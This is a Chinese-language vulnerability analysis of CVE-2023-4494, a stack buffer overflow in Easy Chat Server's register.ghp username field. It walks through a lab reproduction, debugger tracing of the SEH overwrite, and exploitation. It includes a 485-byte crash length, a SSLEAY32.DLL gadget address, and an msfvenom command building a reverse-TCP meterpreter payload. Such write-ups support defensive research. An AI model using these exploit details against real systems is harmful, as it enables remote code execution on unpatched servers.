导语:Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。
漏洞概述
Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。近日,安全研究人员发现该软件还存在基于栈溢出的漏洞,漏洞编号CVE-2023-4494。该漏洞源于使用HTTP GET对register.ghp文件进行访问时,未检查用户提交的username值的长度是否超过限制,从而使栈缓冲区溢出,覆盖其他内存空间,可导致任意代码执行。
影响范围
<=3.1
复现环境
操作系统:Win7 sp1,Kali linux
分析工具:IDA,Windbg,OLLYDBG,Burp Suite
漏洞复现
安装3.1版本的Easy Chat Server程序,安装完成后主程序路径为C:\EFS Software\Easy Chat Server\EasyChat.exe。当前服务器IP为192.168.220.128,启动主程序后,主界面如下图所示:
使用浏览器对主页进行访问,Web主界面如下图所示:
根据CVE官方公告,使用HTTP GET对register.ghp文件进行访问时,username字段可导致漏洞产生。所以使用浏览器访问http://192.168.220.128/register.ghp?username=test进行尝试,Web响应界面如下图所示:
可以看出,register.ghp可能是用户注册页面。同时反编译EasyChat.exe程序,发现还需要传递Password等字段。反编译如下图所示:
再次使用浏览器访问http://192.168.220.128/register.ghp?username=test&&password=testpwd进行尝试,同时使用Burp Suite进行抓包。根据抓取的数据包,对username字段进行fuzz,尝试找到使主程序崩溃的username值。Burp Suite设置如下图所示:
当username字段的值为485个A时,Easy Chat Server没有响应HTTP 200,此时Easy Chat Server主程序已经崩溃,说明此时的username值可能导致了漏洞,如下图所示:
漏洞分析
根据以上复现情况,找到了使Easy Chat Server主程序崩溃的username值,但是还没有确定是否是溢出而导致的崩溃。重启Easy Chat Server主程序,使用Windbg附加调试,再用Burp Suite将上述复现时的数据包发送到Easy Chat Server主程序。Windbg立即捕获到异常,如下图所示:
从Windbg中的函数调用堆栈中可以看到,异常发生在HeapFree函数内部。该函数的功能是释放堆内存空间,从代码中可以看出,试图读取一个不存在的地址41414145的数据,导致了异常。另外,函数调用堆栈中出现大量非法的内存指针值和username中的A字符(十六进制41),似乎是函数返回地址被大量A覆盖了。为了更直观的调试,重启Easy Chat Server主程序,使用OLLYDBG附加调试。在上述出现异常的HeapFree函数地址441AFD处下断点,再用Burp Suite发送异常数据包。在异常发生前最后一次HeapFree处停下,观察函数堆栈,如下图所示:
此时栈中出现大量HTTP GET发送的username字段值,继续往下查看,发现堆栈中结构化异常处理(SEH)地址已被username字段的值覆盖为41414141,说明发生了栈溢出,如下图所示:
由于堆栈地址并不是固定的,不方便下断点。所以从异常发生的前一次HeapFree函数地址处单步调式,观察堆栈SEH地址变化。经过多次调试,发现在地址4114FB处的sprintf函数调用,覆盖了SEH和函数返回地址等值,如下图所示:
此时Buffer变量大小为256,小于HTTP GET时提交的username的大小485,导致栈溢出,从而导致后面调用HeapFree函数也异常,如下图所示:
调用sprintf函数前SEH和函数返回地址,如下图所示:
漏洞利用
从上述的分析中可以看出,调用sprintf函数拼接username字段前,没有检查username的长度是否超出限制,并且username字段可控,导致栈溢出,可以覆盖SEH和函数返回地址,导致任意代码执行。
对于此类漏洞的利用,一般来说可以将SEH函数地址或者函数返回地址覆盖为栈中可控内容的地址,比如username字段对应的栈地址。但是由于栈地址不固定,需要借助一些固定的代码地址作为跳板,构建ROP(Return-oriented programming)链,跳转到可控内容地址执行任意代码。如果程序开启了DEP(数据执行保护),还需要使用ROP链关闭DEP。
经查,该程序未开启DEP,如下图所示:
ROP链使用SSLEAY32.DLL地址为1001AE86处的“pop ebp”,” pop ebx”和“retn”指令,将该地址覆盖到SEH函数处,如下图所示:
利用该漏洞执行的代码,笔者这里使用msf的上线payload(载荷)。值得注意的是,payload中不能有00或空格等字符,以免发生截断,导致利用失败。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b "\x00\x20" -v shellcode生成python格式的payload,如下图所示:
整个漏洞利用结构示意图,如下图所示:
使用python编写利用脚本,如下图所示:
最后在kali中启动msf,监听对应的端口8888,运行漏洞利用脚本,msf成功上线,如下图所示:
POC
https://www.ddpoc.com/poc/DVB-2023-5622.html
如若转载,请注明原文地址